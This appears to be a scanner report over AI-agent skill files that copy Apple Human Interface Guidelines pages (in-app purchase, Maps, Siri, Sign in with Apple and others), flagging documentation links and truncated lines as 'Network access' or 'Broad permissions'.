## [Change log](https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers#Change-log)
skills/hig-technologies/references/in-app-purchase.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "In-app purchase | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/in-app-purchase - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/in-app-purchase - Network accessline 9
. - Network accessline 15
In-app purchase and [Apple Pay](https://developer.apple.com/design/human-interface-guidelines/apple-pay) are different technologies that support different use cases. Use in-app purchase to sell virtual goods in your app, such as premium con - Network accessline 30
 and [Auto-renewable subscriptions](https://developer.apple.com/app-store/subscriptions/). For information about what you can and can’t - Network accessline 36
For apps with exceptionally large, frequently updated catalogs of one-time purchases or subscription content from multiple creators, or apps that provide subscriptions with optional add-on content as a single purchase within the app, the Ad - Network accessline 38
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Best-practices) - Network accessline 40
**Let people experience your app before making a purchase.** People may be more inclined to invest in paid items or features after they’ve enjoyed your app and discovered its value. If you offer auto-renewable subscriptions, consider suppor - Network accessline 48
**Display your store only when people can make payments.** If someone canʼt make payments — for example, because of parental restrictions — consider hiding your store or displaying UI that explains why the store isnʼt available. For develop - Network accessline 52
### [Supporting Family Sharing](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Supporting-Family-Sharing) - Network accessline 58
**Help people understand the benefits of Family Sharing and how to participate.** When you turn on Family Sharing, people can receive notifications about the change, depending on their current settings. For example, an existing subscriber w - Network accessline 62
### [Providing help with in-app purchases](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Providing-help-with-in-app-purchases) - Network accessline 64
Sometimes, people need help with a purchase or want to request a refund. To help make this experience convenient, you can present custom UI within your app that provides assistance, offers alternative solutions, and helps people initiate th - Network accessline 68
 - Network accessline 88
**Call attention to subscription benefits during onboarding.** By showing the value of your subscription when people first launch your app, you can educate them on how the app works and help them understand what they’ll gain by subscribing. - Network accessline 90
 - Network accessline 135
 - Network accessline 149
* A _one-time use code_ is a unique code you generate in App Store Connect. People can redeem a one-time use code through a [redemption URL](https://developer.apple.com/help/app-store-connect/manage-subscriptions/set-up-offer-codes/#distrib - Network accessline 156
For developer guidance on implementing offer codes, see [Offer codes](https://developer.apple.com/documentation/storekit/implementing-offer-codes-in-your-app) and [Set up offer codes](https://developer.apple.com/help/app-store-connect/manag - Network accessline 164
**Consider supporting offer redemption within your app.** The system automatically provides screens that present the offer-redemption flow, whether people redeem the offer in your app or in the App Store. When you use StoreKit API to let pe - Network accessline 166
 - Network accessline 184
 - Network accessline 206
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#watchOS) - Network accessline 208
The sign-up screen in your watchOS app needs to display the same set of information about your subscription options that you display in other versions of your app. For the complete list of required items, see [Making signup effortless](http - Network accessline 212
 - Network accessline 241
#### [Related](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Related) - Network accessline 243
[In-App Purchase](https://developer.apple.com/in-app-purchase/) - Network accessline 245
[Offering Subscriptions](https://developer.apple.com/app-store/subscriptions/) - Network accessline 247
[App Review Guidelines](https://developer.apple.com/app-store/review/guidelines/) - Network accessline 249
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Developer-documentation) - Network accessline 251
[In-App Purchase](https://developer.apple.com/documentation/StoreKit/in-app-purchase) — StoreKit - Network accessline 253
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Videos) - Network accessline 255
[ What’s new in StoreKit and In-App Purchase ](https://developer.apple.com/videos/pl - Network accessline 257
## [Change log](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Change-log)
skills/hig-technologies/references/live-photos.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Live Photos | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/live-photos - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/live-photos - Network accessline 9
 - Network accessline 29
 - Network accessline 35
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/live-photos#Platform-considerations) - Network accessline 39
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/live-photos#visionOS) - Network accessline 43
## [Resources](https://developer.apple.com/design/human-interface-guidelines/live-photos#Resources) - Network accessline 45
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/live-photos#Developer-documentation) - Network accessline 47
[`PHLivePhoto`](https://developer.apple.com/documentation/Photos/PHLivePhoto) — PhotoKit - Network accessline 49
[LivePhotosKit JS](https://developer.apple.com/documentation/LivePhotosKitJS) — LivePhotosKit JS - Network accessline 51
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/live-photos#Videos) - Network accessline 53
[ What’s new in camera capture ](https://developer.apple.com/videos/play/wwdc2021/10047)
skills/hig-technologies/references/mac-catalyst.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Mac Catalyst | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/mac-catalyst - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/mac-catalyst - Network accessline 9
 - Network accessline 61
To learn more about the characteristics that distinguish the Mac experience, see [Designing for macOS](https://developer.apple.com/design/human-interface-guidelines/designing-for-macos). For developer guidance, see [Mac Catalyst](https://de - Network accessline 65
To discover how views and controls can change when you create a Mac app using Mac Catalyst, download [UIKit Catalog: Creating and customizing views and controls](https://developer.apple.com/documentation/UIKit/uikit-catalog-creating-and-cus - Network accessline 67
## [Choose an idiom](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Choose-an-idiom) - Network accessline 86
 - Network accessline 102
### [Navigation](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Navigation) - Network accessline 108
* [Split views](https://developer.apple.com/design/human-interface-guidelines/split-views). A split view supports hierarchical navigation, which consists of a two- or three-column interface that shows a primary column, an optional supplemen - Network accessline 110
* [Tab bars](https://developer.apple.com/design/human-interface-guidelines/tab-bars). A tab bar supports flat navigation by displaying top-level categories in a persistent bar at the bottom of the screen. - Network accessline 112
* [Page controls](https://developer.apple.com/design/human-interface-guidelines/page-controls). A page control displays dots at the bottom of the screen that indicate the position of the current page in a flat list of pages. - Network accessline 130
### [Inputs](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Inputs) - Network accessline 154
### [App icons](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#App-icons) - Network accessline 158
### [Layout](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Layout) - Network accessline 177
### [Menus](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Menus) - Network accessline 183
To support keyboard shortcuts for menu commands, use [`UIKeyCommand`](https://developer.apple.com/documentation/UIKit/UIKeyCommand). For developer guidance, see [Adding menus and shortcuts to the menu bar and user interface](https://develop - Network accessline 185
If you provide [pop-up buttons](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons) or [pull-down buttons](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons) that reveal a menu in your - Network accessline 189
To add and remove custom app menus, use [`UIMenuBuilder`](https://developer.apple.com/documentation/UIKit/UIMenuBuilder) and add menu items that represent your iPad app’s commands as menu items with [`UICommand`](https://developer.apple.com - Network accessline 193
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Platform-considerations) - Network accessline 197
## [Resources](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Resources) - Network accessline 199
#### [Related](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Related) - Network accessline 201
[Designing for macOS](https://developer.apple.com/design/human-interface-guidelines/designing-for-macos) - Network accessline 203
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Developer-documentation) - Network accessline 205
[Mac Catalyst](https://developer.apple.com/documentation/UIKit/mac-catalyst) — UIKit - Network accessline 207
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Videos) - Network accessline 209
[ Designing iPad Apps for Mac ](https://developer.apple.com/videos/play/wwdc2019/809) - Network accessline 211
## [Change log](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Change-log)
skills/hig-technologies/references/machine-learning.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Machine learning | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/machine-learning - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/machine-learning - Network accessline 9
. - Network accessline 15
## [Planning your design](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Planning-your-design) - Network accessline 17
Machine learning apps use _models_ to perform tasks like recognizing images or finding relationships among numerical data. A great machine learning app depends on well-designed models as much as it depends on a well-designed UI and user exp - Network accessline 23
To help you meet this challenge, first consider the role that machine learning plays in your app. Defining the [role](https://developer.apple.com/design/human-interface-guidelines/machine-learning#The-role-of-machine-learning-in-your-app) o - Network accessline 27
## [The role of machine learning in your app](https://developer.apple.com/design/human-interface-guidelines/machine-learning#The-role-of-machine-learning-in-your-app) - Network accessline 31
### [Critical or complementary](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Critical-or-complementary) - Network accessline 44
### [Private or public](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Private-or-public) - Network accessline 57
### [Proactive or reactive](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Proactive-or-reactive) - Network accessline 70
### [Visible or invisible](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Visible-or-invisible) - Network accessline 78
### [Dynamic or static](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Dynamic-or-static) - Network accessline 89
In addition to the frequency of app updates, static or dynamic improvements can affect other parts of the user experience, too. For example, dynamic features often incorporate forms of [calibration](https://developer.apple.com/design/human- - Network accessline 91
## [Explicit feedback](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Explicit-feedback) - Network accessline 93
Explicit feedback provides actionable information your app can use to improve the content and experience it presents to people. Unlike [implicit feedback](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Implic - Network accessline 95
 can give people a sense of control and h - Network accessline 122
## [Implicit feedback](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Implicit-feedback) - Network accessline 124
Implicit feedback is information that arises as people interact with your app’s features. Unlike the specific responses you get from [explicit feedback](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Explicit - Network accessline 126
 - Network accessline 150
 - Network accessline 187
 that can give you valuable information about way - Network accessline 203
## [Mistakes](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Mistakes) - Network accessline 218
* [Limitations](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Limitations) help you set people’s expectations about the accuracy of your suggestions. - Network accessline 220
* [Corrections](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Corrections) give people a way to be successful even when your results are wrong. - Network accessline 222
* [Attribution](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Attribution) gives people insight into where suggestions come from, which can help them understand mistakes. - Network accessline 224
* [Confidence](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Confidence) helps you gauge the quality of your results, which can impact how you present them. - Network accessline 226
* Feedback — both [explicit](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Explicit-feedback) and [implicit](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Implicit-feedback) - Network accessline 243
## [Multiple options](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Multiple-options) - Network accessline 247
 values correlate with the quality of your results, you might use them to r - Network accessline 268
**Learn from selections when it makes sense.** People give you [implicit feedback](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Implicit-feedback) every time they make a selection. When it doesn’t adversely - Network accessline 270
## [Confidence](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Confidence) - Network accessline 274
 - Network accessline 296
 - Network accessline 311
**Consider using attributions to help people distinguish among results.** For example, if you present a set of results as [multiple options](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Multiple-options), i - Network accessline 319
## [Limitations](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Limitations) - Network accessline 343
 - Network accessline 366
## [Resources](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Resources) - Network accessline 368
#### [Related](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Related) - Network accessline 370
[Generative AI](https://developer.apple.com/design/human-interface-guidelines/generative-ai) - Network accessline 372
[Privacy](https://developer.apple.com/design/human-interface-guidelines/privacy) - Network accessline 374
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Developer-documentation) - Network accessline 376
[Apple Intelligence and machine learning](https://developer.apple.com/documentation/TechnologyOverviews/ai-machine-learning) - Network accessline 378
[Create ML](https://developer.apple.com/documentation/CreateML) - Network accessline 380
[Core ML](https://developer.apple.com/documentation/CoreML) - Network accessline 382
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Videos) - Network accessline 384
[ Explore prompt design & safety for on-device foundation models ](https://develope - Network accessline 386
[ Discover machine learning & AI frameworks on Apple platforms ](https://developer. - Network accessline 388
## [Change log](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Change-log)
skills/hig-technologies/references/maps.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Maps | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/maps - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/maps - Network accessline 9
 - Network accessline 26
 - Network accessline 30
 - Network accessline 34
For developer guidance, see [`MKStandardMapConfiguration.EmphasisStyle`](https://developer.apple.com/documentation/MapKit/MKStandardMapConfiguration/EmphasisStyle-swift.enum). - Network accessline 42
Individual - Network accessline 61
## [Custom information](https://developer.apple.com/design/human-interface-guidelines/maps#Custom-information) - Network accessline 63
**Use annotations that match the visual style of your app.** Annotations identify custom points of interest on your map. The default annotation marker has a red tint and a white pin icon. You can change the tint to match the color scheme of - Network accessline 65
**If you want to display custom information that’s related to standard map features, consider making them independently selectable.** When you support selectable map features, the system treats Apple-provided features (including points of i - Network accessline 76
For developer guidance, see [Displaying overlays on a map](https://developer.apple.com/documentation/MapKit/displaying-overlays-on-a-map) and [`MKOverlayLevel`](https://developer.apple.com/documentation/MapKit/MKOverlayLevel). - Network accessline 80
## [Place cards](https://developer.apple.com/design/human-interface-guidelines/maps#Place-cards) - Network accessline 84
### [Displaying place cards in a map](https://developer.apple.com/design/human-interface-guidelines/maps#Displaying-place-cards-in-a-map) - Network accessline 86
You can present a place card that appears directly in your map anytime someone selects a place. This is a great way to provide place information in a map with multiple places that you specify, like a map of bookstores that an author plans t - Network accessline 88
You can also display place cards for other places on a map, such as points of interest, territories, and physical features, to provide valuable context to people about nearby places. For developer guidance, see [`mapFeatureSelectionAccessor - Network accessline 92
In websites, you can embed a custom map that displays a place card by default for a single place that you specify. For developer guidance, see [Displaying place information using the Maps Embed API](https://developer.apple.com/documentation - Network accessline 102
* The _sheet_ style displays a place card in a [sheet](https://developer.apple.com/design/human-interface-guidelines/sheets). - Network accessline 107
For developer guidance, see [`MapItemDetailSelectionAccessoryStyle`](https://developer.apple.com/documentation/MapKit/MapItemDetailSelectionAccessoryStyle), [`MKSelectionAccessory.MapItemDetailPresentationStyle`](https://developer.apple.com - Network accessline 116
 - Network accessline 122
 - Network accessline 138
You can also display place information outside of a map in your app or website. For example, you might want to display a list of places rather than a map, like in search results or a store locator, and present a place card when people selec - Network accessline 142
If you don’t display a place card directly within a map view, you must include a map in the place card. For developer guidance, see [`mapItemDetailSheet(item:displaysMap:)`](https://developer.apple.com/documentation/SwiftUI/View/mapItemDeta - Network accessline 146
## [Indoor maps](https://developer.apple.com/design/human-interface-guidelines/maps#Indoor-maps) - Network accessline 156
 - Network accessline 186
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/maps#watchOS) - Network accessline 188
On Apple Watch, maps are static snapshots of geographic locations. Place a map in your interface at design time and show the appropriate region at runtime. The displayed region isn’t interactive; tapping it opens the Maps app on Apple Watch - Network accessline 190
 - Network accessline 196
For developer guidance, see [`WKInterfaceMap`](https://developer.apple.com/documentation/WatchKit/WKInterfaceMap). - Network accessline 198
## [Resources](https://developer.apple.com/design/human-interface-guidelines/maps#Resources) - Network accessline 200
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/maps#Developer-documentation) - Network accessline 202
[MapKit](https://developer.apple.com/documentation/MapKit) - Network accessline 204
[MapKit JS](https://developer.apple.com/documentation/MapKitJS) - Network accessline 206
[Indoor Mapping Data Format](https://register.apple.com/resources/imdf/) - Network accessline 208
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/maps#Videos) - Network accessline 210
[ Go further with MapKit ](https://developer.apple.com/videos/play/wwdc2025/204) - Network accessline 212
[ Unlock the power of places with MapKit ](https://developer.apple.com/videos/play/w - Network accessline 214
## [Change log](https://developer.apple.com/design/human-interface-guidelines/maps#Change-log)
skills/hig-technologies/references/nfc.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "NFC | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/nfc - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/nfc - Network accessline 9
 - Network accessline 17
 - Network accessline 38
 - Network accessline 46
## [Resources](https://developer.apple.com/design/human-interface-guidelines/nfc#Resources) - Network accessline 48
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/nfc#Developer-documentation) - Network accessline 50
[Core NFC](https://developer.apple.com/documentation/CoreNFC)
skills/hig-technologies/references/photo-editing.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Photo editing | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/photo-editing - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/photo-editing - Network accessline 9
 - Network accessline 25
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/photo-editing#Platform-considerations) - Network accessline 29
## [Resources](https://developer.apple.com/design/human-interface-guidelines/photo-editing#Resources) - Network accessline 31
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/photo-editing#Developer-documentation) - Network accessline 33
[App extensions](https://developer.apple.com/app-extensions/) - Network accessline 35
[PhotoKit](https://developer.apple.com/documentation/PhotoKit) - Network accessline 37
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/photo-editing#Videos) - Network accessline 39
[ Introducing Photo Segmentation Mattes ](https://developer.apple.com/videos/play/wwdc2019/260)
skills/hig-technologies/references/researchkit.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "ResearchKit | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/researchkit - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/researchkit - Network accessline 9
 - Network accessline 21
 - Network accessline 27
 - Network accessline 29
### [2\. Determine eligibility](https://developer.apple.com/design/human-interface-guidelines/researchkit#2-Determine-eligibility) - Network accessline 33
 - Network accessline 43
 - Network accessline 53
 - Network accessline 76
 - Network accessline 97
 - Network accessline 107
## [Resources](https://developer.apple.com/design/human-interface-guidelines/researchkit#Resources) - Network accessline 109
#### [Related](https://developer.apple.com/design/human-interface-guidelines/researchkit#Related) - Network accessline 111
[Research & Care > ResearchKit](https://www.researchandcare.org/researchkit/) - Network accessline 113
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/researchkit#Developer-documentation) - Network accessline 115
[Research & Care > Developers](https://www.researchandcare.org/developers/) - Network accessline 117
[Protecting user privacy](https://developer.apple.com/documentation/HealthKit/protecting-user-privacy) — HealthKit - Network accessline 119
[ResearchKit GitHub project](https://github.com/ResearchKit/ResearchKit) - Network accessline 121
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/researchkit#Videos) - Network accessline 123
[ What's new in CareKit ](https://developer.apple.com/videos/play/wwdc2020/10151) - Network accessline 125
[ Build a research and care app, part 1: Setup onboarding ](https://developer.apple.com/videos/play/wwdc2021/10068) - Network accessline 127
[ ResearchKit and CareKit Reimagined ](https://developer.apple.com/videos/play/wwdc2019/217) - Network accessline 129
## [Change log](https://developer.apple.com/design/human-interface-guidelines/researchkit#Change-log)
skills/hig-technologies/references/shareplay.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "SharePlay | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/shareplay - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/shareplay - Network accessline 9
 - Network accessline 19
**If part of your app requires a subscription, consider ways to help nonsubscriber participants quickly join a group activity.** For example, you might offer temporary or provisional access to nonsubscribers or let an existing subscriber se - Network accessline 25
## [Sharing activities](https://developer.apple.com/design/human-interface-guidelines/shareplay#Sharing-activities) - Network accessline 27
An _activity_ is an app-defined type of shareable experience. For example, an app that lets people view videos might define a separate activity for viewing each type of content — like movies, TV shows, and uploaded videos — and display a di - Network accessline 33
 - Network accessline 45
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/shareplay#visionOS) - Network accessline 63
 and [`SpatialTemplatePreference`](https://developer.apple.com/documentation/GroupActivities/SpatialTemplatePrefer - Network accessline 77
**Help people enter a shared activity together, but don’t force them.** When one participant changes their level of immersion, the system tells you so you can synchronize the experience for everyone. Before synchronizing, check whether chan - Network accessline 81
#### [Maintaining a shared context](https://developer.apple.com/design/human-interface-guidelines/shareplay#Maintaining-a-shared-context) - Network accessline 85
**Make sure everyone views the same state of your app.** If your app has more than one state — such as a media app that provides both minimal and theater-like viewing modes — you need to avoid letting different participants view different s - Network accessline 87
**Use Spatial Audio to enrich your shared activity.** Playing Spatial Audio can help you strengthen the realism of the shared experience. For guidance, see [Playing audio](https://developer.apple.com/design/human-interface-guidelines/playin - Network accessline 99
Conten - Network accessline 101
 - Network accessline 111
 - Network accessline 119
#### [Related](https://developer.apple.com/design/human-interface-guidelines/shareplay#Related) - Network accessline 121
[Auto-renewable subscriptions](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Auto-renewable-subscriptions) - Network accessline 123
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/shareplay#Developer-documentation) - Network accessline 125
[Group Activities](https://developer.apple.com/documentation/GroupActivities) - Network accessline 127
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/shareplay#Videos) - Network accessline 129
[ Share visionOS experiences with nearby people ](https://developer.apple.com/video - Network accessline 131
[ Design spatial SharePlay experiences ](https://developer.apple.com/videos/play/wwd - Network accessline 133
[ Add SharePlay to your app ](https://developer.apple.com/videos/play/wwdc2023/10239 - Network accessline 135
## [Change log](https://developer.apple.com/design/human-interface-guidelines/shareplay#Change-log)
skills/hig-technologies/references/shazamkit.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "ShazamKit | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/shazamkit - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/shazamkit - Network accessline 9
 - Network accessline 34
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/shazamkit#Platform-considerations) - Network accessline 38
## [Resources](https://developer.apple.com/design/human-interface-guidelines/shazamkit#Resources) - Network accessline 40
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/shazamkit#Developer-documentation) - Network accessline 42
[ShazamKit](https://developer.apple.com/documentation/ShazamKit) - Network accessline 44
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/shazamkit#Videos) - Network accessline 46
[ Explore ShazamKit ](https://developer.apple.com/videos/play/wwdc2021/10044)
skills/hig-technologies/references/sign-in-with-apple.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Sign in with Apple | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple - Network accessline 9
 - Network accessline 38
 - Network accessline 67
## [Displaying buttons](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Displaying-buttons) - Network accessline 69
Apple provides several Sign in with Apple buttons you can use to let people set up an account and sign in. If necessary, you can create a custom button to offer Sign in with Apple; for guidelines, see [Creating a custom Sign in with Apple b - Network accessline 73
### [Using the system-provided buttons](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Using-the-system-provided-buttons) - Network accessline 90
For developer guidance, see [`ASAuthorizationAppleIDButton`](https://developer.apple.com/documentation/AuthenticationServices/ASAuthorizationAppleIDButton) (iOS, macOS, and tvOS), [`WKInterfaceAuthorizationAppleIDButton`](https://developer. - Network accessline 96
 - Network accessline 98
 - Network accessline 100
 - Network accessline 104
 - Network accessline 108
#### [White](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#White) - Network accessline 112
 - Network accessline 116
 - Network accessline 120
#### [White with outline](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#White-with-outline) - Network accessline 122
The white outlined style is available in iOS, macOS, and the web. Use this style on white or light-color backgrounds that don’t provide sufficient contrast with the white button fill. Avoid using this style on a dark or saturated background - Network accessline 124
 - Network accessline 128
 - Network accessline 132
#### [Black](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Black) - Network accessline 136
 - Network accessline 140
 - Network accessline 146
 - Network accessline 150
**Adjust the corner radius to match the appearance of other buttons in your app.** By default, the Sign in with Apple button has rounded corners. In iOS, macOS, and the web, you can change the corner radius to produce a button with square c - Network accessline 152
Minimum corner radius - Network accessline 154
Default corner radius - Network accessline 156
 - Network accessline 168
 provides downloadable Apple logo artwork you can use to create custom Sign in with Apple buttons that display either a logo only or a logo and text. The logo files are - Network accessline 174
; never create a custom Apple logo. As you create a custom Sign in with Apple button, follow these guidelines for using the dow - Network accessline 219
#### [Custom buttons with a logo and text](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Custom-buttons-with-a-logo-and-text) - Network accessline 225
 - Network accessline 251
 - Network accessline 263
## [Resources](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Resources) - Network accessline 265
#### [Related](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Related) - Network accessline 267
[Sign in with Apple button](https://appleid.apple.com/signinwithapple/button) - Network accessline 269
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Developer-documentation) - Network accessline 271
[Authentication Services](https://developer.apple.com/documentation/AuthenticationServices) - Network accessline 273
[Displaying Sign in with Apple buttons on the web](https://developer.apple.com/documentation/signinwithapple/displaying-sign-in-with-apple-buttons-on-the-web) — Sign in with Apple - Network accessline 275
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Videos) - Network accessline 277
[ Move beyond passwords ](https://developer.apple.com/videos/play/wwdc2021/10106) - Network accessline 279
[ Simplify sign in for your tvOS apps ](https://developer.apple.com/videos/play/wwdc2021/10279) - Network accessline 281
[ Introducing Sign In with Apple ](https://developer.apple.com/videos/play/wwdc2019/706) - Network accessline 283
## [Change log](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple#Change-log)
skills/hig-technologies/references/siri.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Siri | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/siri - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/siri - Network accessline 9
 to define the tasks and actions that your app supports, people can use Siri to perform them even when your app isn’t running. If you’re an accessory maker, you can al - Network accessline 43
## [Integrating your app with Siri](https://developer.apple.com/design/human-interface-guidelines/siri#Integrating-your-app-with-Siri) - Network accessline 47
SiriKit defines _system intents_ that represent common tasks — such as sending a message, calling a friend, and starting a workout — and groups related intents into domains. A _domain_ is a category of tasks that Siri knows how to talk abou - Network accessline 49
When possible, take advantage of the intents that SiriKit defines. Using system-provided intents can make your job easier, while still giving you opportunities to customize the experience. However, if your app offers tasks that aren’t repre - Network accessline 51
### [A closer look at intents](https://developer.apple.com/design/human-interface-guidelines/siri#A-closer-look-at-intents) - Network accessline 57
First, your app and SiriKit must agree on what the request means in the _resolve_ phase. You can think of this phase as the time to ask people for everything your app needs and, if necessary, ask for additional information or clarification. - Network accessline 59
The second phase — called the _confirm_ phase — happens when you have all the information you need to handle the intent. This phase can give people a chance to make sure they want to complete the task. For example, tasks that have financial - Network accessline 61
Third, your app performs the task and tells SiriKit what it actually did in the _handle_ phase. You can provide both visual and textual information that tells people what your app did to handle their request. For example, an app that lets p - Network accessline 63
### [Provide information about actions and support suggestions](https://developer.apple.com/design/human-interface-guidelines/siri#Provide-information-about-actions-and-support-suggestions) - Network accessline 69
Siri can use signals like location, time of day, and type of motion (such as walking, running, or driving), to intelligently predict just the right time and place to suggest actions from your app. Depending on the information your app share - Network accessline 82
When you provide information about your actions to the system, people can also use the Shortcuts app to create shortcuts for the system and custom intents you support. For guidance, see [Shortcuts and suggestions](https://developer.apple.co - Network accessline 84
### [Design a great voice experience](https://developer.apple.com/design/human-interface-guidelines/siri#Design-a-great-voice-experience) - Network accessline 98
### [Recognize that people use Siri in different contexts](https://developer.apple.com/design/human-interface-guidelines/siri#Recognize-that-people-use-Siri-in-different-contexts) - Network accessline 106
## [System intents](https://developer.apple.com/design/human-interface-guidelines/siri#System-intents) - Network accessline 112
Domain (link to developer guidance)| Intents ---|--- [VoIP Calling](https://developer.apple.com/documentation/SiriKit/voip-calling)| Initiate calls. - Network accessline 113
---|--- [VoIP Calling](https://developer.apple.com/documentation/SiriKit/voip-calling)| Initiate calls. [Workouts](https://developer.apple.com/documentation/SiriKit/workouts)| Start, pause, resume, end, and cancel workouts. - Network accessline 114
[VoIP Calling](https://developer.apple.com/documentation/SiriKit/voip-calling)| Initiate calls. - Network accessline 115
